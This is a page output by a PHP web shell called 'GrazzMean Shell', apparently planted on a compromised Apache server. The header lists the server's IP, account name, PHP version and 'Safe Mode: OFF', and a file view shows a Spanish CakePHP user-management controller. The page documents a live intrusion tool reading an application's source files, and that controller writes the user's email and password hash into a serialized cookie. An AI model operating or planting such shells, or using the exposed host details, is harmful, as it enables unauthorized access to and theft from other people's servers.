shell bypass 403

GrazzMean Shell

Uname: Linux info 3.0 #1337 SMP Tue Jan 01 00:00:00 CEST 2000 all GNU/Linux
Software: Apache
PHP version: 5.6.40 [ PHP INFO ] PHP os: Linux
Server Ip: 217.160.0.194
Your Ip: 216.73.217.65
User: u72294154 (9179942) | Group: ftpusers (600)
Safe Mode: OFF
Disable Function:
NONE

name : PrivateUsuariosController.php
<?

App::uses('PrivateController', 'Controller');

class PrivateUsuariosController extends PrivateController {

    public function beforeFilter() {
        parent::beforeFilter();

        array_push($this->uses, 'Usuario');
    }

    public function home() {
        //Generamos el filtro...
        $filtro = array(
            'nombre' => null,
            'email' => null,
        );
        $this->set('filtro', $filtro);
        $this->getListado('Usuario', 20, $this->App->getOrden('Usuario'), $this->getConditionsFiltro($filtro));

        $this->renderView();
    }

    public function add() {
        if ($this->request->is('post')) {
            $this->Usuario->create();
            unset($this->request->data['Usuario']['id'], $this->request->data['Usuario']['admin'], $this->request->data['Usuario']['created'], $this->request->data['Usuario']['modified']); //campos que no son modificables por el usuario
            if ($this->Usuario->save($this->request->data)) {
                $this->Session->setFlash('Usuario añadido con éxito.' . $this->btnClose, 'default', array('class' => 'alert alert-success'));
                $this->redirect(array('controller' => 'private_usuarios', 'action' => 'edit', 'id' => $this->Usuario->id));
            } else {
                $this->errores = $this->Usuario->validationErrors;
            }
        }

        $this->renderView();
    }

    public function edit() {
        $this->Usuario->id = $this->params->id;
        if (!$this->Usuario->exists()) {
            $this->Session->setFlash('Usuario no encontrado.' . $this->btnClose, 'default', array('class' => 'alert alert-danger'));
            $this->redirect(array('controller' => 'private_usuarios', 'action' => 'home'));
        }

        $usuario = $this->Usuario->findById($this->Usuario->id);
        if ($this->request->is('put') || $this->request->is('post')) {
            //Usuario
            if (!empty($this->request->data['Usuario'])) {
                unset($this->request->data['Usuario']['id'], $this->request->data['Usuario']['clave'], $this->request->data['Usuario']['created'], $this->request->data['Usuario']['modified']); //campos que no son modificables por el usuario
                if ($this->Usuario->save($this->request->data)) {
                    //Si editamos información del usuario logueado...
                    if ((int) $this->Usuario->id == (int) $this->usuario['id']) {
                        $usuario = $this->Usuario->findById($this->Usuario->id);

                        //Establecemos los nuevos valores del usuario en cookie
                        $user = $usuario['Usuario'];
                        $user['Empresa'] = $usuario['Empresa'];
                        $this->Session->write('Auth.User', $user);
                        if ($this->Cookie->check('Usuario')) {
                            $this->Cookie->write('Usuario', serialize(array('email' => $usuario['Usuario']['email'], 'clave' => $usuario['Usuario']['clave'])));
                        }
                    }

                    $this->Session->setFlash('Usuario actualizado con éxito.' . $this->btnClose, 'default', array('class' => 'alert alert-success'));
                    $this->redirect(array('controller' => 'private_usuarios', 'action' => 'edit', 'id' => $this->Usuario->id, 'tab' => $this->params->tab));
                } else {
                    $this->errores = $this->Usuario->validationErrors;
                }
            }

            //Modificar clave
            if (!empty($this->request->data['ModificarClave'])) {
                array_push($this->uses, 'ModificarClave');

                $this->ModificarClave->create();
                $this->ModificarClave->set($this->request->data);
                if ($this->ModificarClave->validates()) {
                    $db = $this->Usuario->getDataSource();
                    $this->Usuario->updateAll(array('Usuario.clave' => $db->value(AuthComponent::password($this->request->data['ModificarClave']['clave']), 'string')), array('Usuario.id' => $this->Usuario->id));

                    //Si editamos información del usuario logueado...
                    if ((int) $this->Usuario->id == (int) $this->usuario['id']) {
                        $usuario = $this->Usuario->findById($this->Usuario->id);

                        //Establecemos los nuevos valores del usuario
                        $user = $usuario['Usuario'];
                        $user['Empresa'] = $usuario['Empresa'];
                        $this->Session->write('Auth.User', $user);

                        if ($this->Cookie->check('Usuario')) {
                            $this->Cookie->write('Usuario', serialize(array('email' => $usuario['Usuario']['email'], 'clave' => $usuario['Usuario']['clave'])));
                        }
                    }

                    $this->Session->setFlash('Clave modificada con éxito.' . $this->btnClose, 'default', array('class' => 'alert alert-success'), 'flash');
                    $this->redirect(array('controller' => 'private_usuarios', 'action' => 'edit', 'id' => $this->Usuario->id, 'tab' => $this->params->tab));
                } else {
                    $this->errores = $this->ModificarClave->validationErrors;
                }
            }
        } else {
            $this->request->data = $usuario;
        }
        unset($this->request->data['ModificarClave']['clave'], $this->request->data['ModificarClave']['clave_rep']);

        $this->set('user', $usuario);

        $this->renderView();
    }

    public function delete() {
        $this->Usuario->id = $this->params->id;
        if (!$this->Usuario->exists()) {
            $this->Session->setFlash('Usuario no encontrado.' . $this->btnClose, 'default', array('class' => 'alert alert-danger'));
            $this->redirect(array('controller' => 'private_usuarios', 'action' => 'home'));
        }

        if ($this->Usuario->delete()) {
            $this->Session->setFlash('Usuario eliminado con éxito.' . $this->btnClose, 'default', array('class' => 'alert alert-success'));
        } else {
            $this->Session->setFlash('El usuario no pudo ser eliminado.' . $this->btnClose, 'default', array('class' => 'alert alert-danger'));
        }

        $this->redirect(array('controller' => 'private_usuarios', 'action' => 'home'));
    }

}
© 2026 GrazzMean